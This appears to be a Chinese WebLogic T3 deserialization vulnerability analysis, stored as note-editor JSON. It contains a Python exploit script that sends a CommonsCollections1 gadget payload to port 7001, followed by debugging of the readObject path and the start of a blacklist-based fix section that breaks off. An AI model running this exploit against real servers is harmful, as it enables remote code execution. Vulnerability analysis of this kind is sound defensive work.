\&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = \&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  